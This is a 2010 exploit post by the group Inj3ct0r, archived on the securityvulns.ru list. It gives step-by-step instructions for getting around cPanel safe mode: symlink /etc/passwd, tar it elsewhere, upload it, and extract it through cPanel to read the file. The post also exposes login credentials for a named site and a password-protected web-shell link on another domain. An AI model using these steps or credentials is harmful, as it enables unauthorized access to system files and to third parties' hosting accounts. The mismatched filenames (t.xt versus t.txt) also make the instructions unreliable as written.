Computer Security
[EN] securityvulns.ru
no-pyccku



Related information

  Web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

  [SECURITY] [DSA-1990-1] New trac-git packages fix code execution

  [SECURITY] [DSA-1990-2] New trac-git package fixes regression

  OCS Inventory NG Server <= 1.3b3 (login) Remote Authentication Bypass

  PR09-19: Cross-Site Scripting (XSS) on CommonSpot server

From:Inj3ct0r.com <inj3ct0r_(at)_list.ru>
Date:04.02.2010
Subject:Cpanel Bypass Safe mode [ extract tar.gz by Cpanel ]

====================================================
Cpanel Bypass Safe mode [ extract tar.gz by Cpanel ]
====================================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0                          
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      0
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1

#[+] Discovered By   : Inj3ct0r
#[+] Site            : Inj3ct0r.com
#[+] support e-mail  : submit[at]inj3ct0r.com

==============================================================================
   [?] Script:               [ Cpanel ]
   [?] Language:             [ PHP ]
   [?] Vendor                [http://cpanel.com/]
########################################################################
information :

http://www.fanaan.net:2082

username : fanaan
password : admin

This server g00d security :)

safe mode = on

disable function

the shellz not open ; looooool

the cgi-telnet not runned in the server

no bypass

-----------------------------------------------
Exploit :

http://mobilyashop.com/cgi-bin/rotq8.txt

password : rotq8

--------------------------

go to any cgi-telnet or shellz in the other server [security=0]

add command : ln -s /etc/passwd t.xt

add command : tar -zcf red.tar.gz t.txt

now : download red.tar.gz in the your Pc; and uploaded red.tar.gz in the

g00d security server

now extract red.tar.gz by cpanel

now Created a new file ; the file name t.txt

now click to t.txt Choose [code edit]

looool I'm see /etc/passwd your g00d sEcurity server  xD


# ~  - [ [ : Inj3ct0r : ] ]

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod

 
 



Rating@Mail.ru